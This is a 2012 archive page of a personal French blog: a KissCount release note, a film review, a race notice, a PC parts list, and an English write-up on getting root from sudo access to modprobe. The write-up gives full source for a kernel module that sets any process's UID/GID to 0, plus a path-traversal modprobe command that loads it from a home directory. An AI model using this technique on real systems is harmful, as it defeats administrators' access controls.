Archives 2012

Version 0.3 de KissCount

Friday, 22 June 2012
|
Écrit par
Grégory Soutadé

Comme pour la version précédente il a fallu attendre presque un an pour voir sortir la mouture 0.3 de KissCount. L'objet de ce retard est double : D'une part j'ai, depuis un an, beaucoup moins de temps de libre et, d'autre part, la création d'une version pour Windows a fortement retardé l'évolution du projet. Qu'est ce qu'on retrouve dans cette nouvelle version ? La principale modification est le passage à Qt4. Ça a été plus long que compliqué et une fois que j'ai réussi à reproduire un tableau correct, j'ai pu dérouler ! Le passage depuis wxWidgets est relativement "simple" car ils font tous les deux partis d'un monde objet avec des concepts proches en ce qui concerne l'approche graphique.

Nouvelles fonctionnalités

Aucun designer n'a rejoint l'équipe, mais grâce au trio Qt + icônes oxygen + libkdchart (bibliothèque graphique de KMyMoney), l'application commence vraiment à ressembler à quelque chose. Il faut noter aussi la mise en place de l'auto complétion, fonctionnalité attendue depuis la première version de KissCount. Une autre fonctionnalité intéressante est la gestion simple des sauvegardes. Enfin il y a une option pour "cacher" un compte, ainsi il n'apparaîtra plus dans le panneau principal. C'est un bon moyen pour garder un compte plutôt que de le supprimer (et donc de perdre son historique) ou pour ne pas afficher les comptes dont on se sert peu.

L'import des fichiers OFX n'est pas disponible pour la version Windows.


Attention : la nouvelle version de la base de données n'est pas compatible avec les versions 0.1 et 0.2, la migration étant impossible du fait de la suppression de certaines colonnes d'index.


Pour l'avenir

La version précédente était (selon moi) très aboutie en ce qui concerne le coeur de l'application. Maintenant il ne reste que l'enrobage à fignoler. Il ne manque plus de fonctionnalité majeure, mais on pourrait penser à :

  • Meilleure interface graphique (toujours)
  • Traductions
  • Empaquetage
  • Plugin
  • Imports/Exports plus larges
  • Impression


Au gré des besoins et de la popularité, il sortira peut être un jour une version 0.4.

D'autres captures d'écran sont disponibles dans la documentation française et anglaise. Le code source est disponible ici et la page de téléchargements se trouve .

The Dictator

Friday, 22 June 2012
|
Écrit par
Grégory Soutadé

Politiquement incorrect. Quand on s'appelle Aladeen est qu'on est dictateur de la République du Wadiya, en Afrique du Nord, on peut tout se permettre ! C'est sur cette base quasi illimitée que les scénaristes, comme pour Borat, mettent en scène un dictateur imbu de lui-même, machiste à souhait et dont le seul objectif est de se satisfaire lui même. Le fond de l'histoire commence quand Aladeen doit s'expliquer devant l'ONU sur ses agissements militaires (et notamment sur une potentielle bombe nucléaire), il est alors convié aux États-Unis, mais se retrouve au petit matin dans la rue sans soutien, ni argent. Il va alors devoir reconquérir sa place.

L'objectif du film est un gag toutes les deux minutes. Dans l'ensemble c'est plutôt réussit, même si c'est parfois très limites (certains propos ou faits peuvent choquer les plus jeunes). Il se permet même de rendre hommage à Kim Jong-il avant le début du film. Plus qu'une critique de l'occident, c'est un délire total de Sacha Baron Cohen et ses amis !

Tignathlon 2012

Thursday, 14 June 2012
|
Écrit par
Grégory Soutadé

Le Tignathlon est un vétathlon organisé par les pompier du Tignet (06). L'épreuve se déroule en trois parties : 4km de course à pied, 15km de vtt et 4km de course à pied. Concernant la course à pied le circuit est relativement plat (il suit une partie du canal). L'épreuve peut se faire en solo ou en duo (une personne pour le vtt et une pour la course à pied). Mais c'est surtout un évènement convivial (100/200 personnes) suivit d'un repas collectif et d'une remise de lots des commerçants de la commune. Le tarif est aux alentours de 10€ par participation, ne pas oublier son certificat médical !

 

La course est annulée pour des raisons techniques.

How to become root with modprobe

Tuesday, 12 June 2012
|
Écrit par
Grégory Soutadé

At work we're not root in our machines. This simplify the administrator's works and we don't need to be root for usual tasks. If I need to, I can ask my colleague two desks in front of me. But for a special case I was given modprobe access via sudo. I said to him "If I can use modprobe, I'm root !", he replied "No because modprobe only loads modules from /lib/modules, but this is your challenge !".

Challenge accepted and successfully completed ! I'm running an Ubuntu 10.4 LTS with a 2.6.32-41-generic kernel.

 

Module source

The module was easy to develop (even if it has been a while I havn't do kernel module). It was named beyrouth for "be root", but it's more generic. Indeed you can change UID and GID of any running process !

/* * beyrouth.c - Change task's UID and GID */ #include /* Needed by all modules */ #include /* Needed for KERN_INFO */ #include #include #include #include // Copied from linux/cred.h #define __task_cred(task) \ ((const struct cred *)(rcu_dereference((task)->real_cred))) // Copied from linux/cred.h #define get_task_cred(task) \ ({ \ struct cred *__cred; \ rcu_read_lock(); \ __cred = (struct cred *) __task_cred((task)); \ get_cred(__cred); \ rcu_read_unlock(); \ __cred; \ }) int pid = -1; int uid = -1; int gid = -1; module_param(pid, int, 0); module_param(uid, int, 0); module_param(gid, int, 0); int init_module(void) { struct cred *_cred; struct pid* _pid; struct task_struct* task; printk(KERN_ERR "Hello world\n"); if (pid == -1) { printk(KERN_ERR "PID is missing\n"); return -2; } _pid = find_get_pid(pid); if (!_pid) { printk(KERN_ERR "PID not found\n"); return -3; } task = pid_task(_pid, PIDTYPE_PID); if (!task) { printk(KERN_ERR "Task not found\n"); return -4; } _cred = get_task_cred(task); if (!_cred) { printk(KERN_ERR "Cred not found\n"); return -5; } if (uid != -1) { _cred->uid = uid; _cred->euid = uid; _cred->suid = uid; _cred->fsuid = uid; } else uid = _cred->uid; if (gid != -1) { _cred->gid = gid; _cred->egid = gid; _cred->sgid = gid; _cred->fsgid = gid; } else gid = _cred->gid; commit_creds(_cred); printk(KERN_ERR "New UID %d GID %d\n", uid, gid); // Don't load module return -1; } void cleanup_module(void) { printk(KERN_INFO "Goodbye world\n"); } MODULE_AUTHOR("Grégory Soutadé"); MODULE_DESCRIPTION("Change task's UID and GID"); MODULE_LICENSE("GPL");

The module is GPL because we want to access to GPL exported kernel's functions. Maybe it's not the most elegant way to do, but it works for now. It came with its Makefile :

obj-m += beyrouth.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Modpost error

This pretty compile on a Debian VM. But with Ubuntu I have this f***ing error :

Building modules, stage 2. MODPOST 0 modules

There is no resource on the net to bypass this compilation error.

ONE SOLUTION : I had "-n" switch activated in my GREP_OPTIONS (exported by .bashrc). Disable this swtich make the compilation works again !!

OLD ISSUE : The only issue seems to do a "make modules_prepare" on kernel sources, but I'm not root (for now) !! The solution is to copy kernel headers (take care of symbolic links)

mkdir linux cp -r /lib/modules/2.6.32-41-generic/ linux cp -r /usr/src/linux-headers-2.6.32-41* linux cd linux/2.6.32-41-generic/ rm build ln -s ../linux-headers-2.6.32-41-generic/ build cd -

Edit your Makefile to change kernel header's root

make -C ./linux/$(shell uname -r)/build M=$(PWD) modules

Edit ./linux/2.6.32-41-generic/build/scripts/Makefile.modpost, change modules rules by :

modules := $(MODVERDIR)/../beyrouth.ko

Now you can run make, and it works !!! It's not sexy, I know...

Building modules, stage 2. MODPOST 1 modules

Modprobe

The second problem is that modprobe looks for modules in /lib/modules/`uname -r`. The first thing to do is to create modules.dep beside beyrouth.o with :

beyrouth.ko:

After that you can open a new terminal and do "ps -o pid,user,group,args" :

PID USER GROUP COMMAND 13209 soutade soutade bash 13231 soutade soutade ps -o pid,user,group,args

Finally change kernel's version for modprobe to change kernel's module path :

sudo modprobe --set-version ../../home/soutade/beyrouth/ beyrouth pid=13209 uid=0 gid=0 FATAL: Error inserting beyrouth (/lib/modules/../../home/soutade/beyrouth

"Operation not permitted" is a valid return because we don't want to insert beyrouth.ko into kernel. dmesg tells us :

[533621.707288] Hello world [533621.707293] New UID 0 GID 0

And "ps -o pid,user,group,args"

PID USER GROUP COMMAND 13209 root root bash 13236 root root ps -o pid,user,group,args

I now have a root terminal, even if I won't use it !

Configuration Mai 2012

Thursday, 31 May 2012
|
Écrit par
Grégory Soutadé
ANTEC SONATA IV - Moyen tour - Alimentation Neo ECO 620 Watts - Noir		 129.90 €
INTEL i5-3450S 2.8GHz - 6Mo cache - TurboBoost - Graphic HD 2500		 179.90 €
ASUS P8Z68-V Pro B3								 154.75 €
CORSAIR - Vengeance - 8Go ( 2x 4 Go ) PC12800 - 1600 MHz - CL8			  65.95 €
VTX 3D ATI Radeon HD7850							 209.90 €
KINGSTON SSD V+200 - 2.5 pouces - 120 Go - SATA 6 Go/s				 144.90 €
WESTERN DIGITAL Caviar Blue - 500 Go - 7200 tours - SATA 6Go/s - 16 Mo cache	  69.99 €
SONY AD-5280S-0B SATA 								  15.49 €
LOGITECH Mouse M500 								  26.89 €
LOGITECH Wired Keyboard K120							   9.39 €
ALTEC LANSING VS2721 - Ensemble 2.1 						  39.99 €

Total :										1047.05 €

En sus

ASUS - VK278Q Ecran LED 27 pouces 16/9ème 2ms Display Port/HDMI/DVI/VGA 300cd/m²  303.99 €
PHILIPS - Moda 248C3LHSB - Ecran LED 23.6 pouces - 2ms - 2xHDMI/VGA - 300cd/m²   189.99 €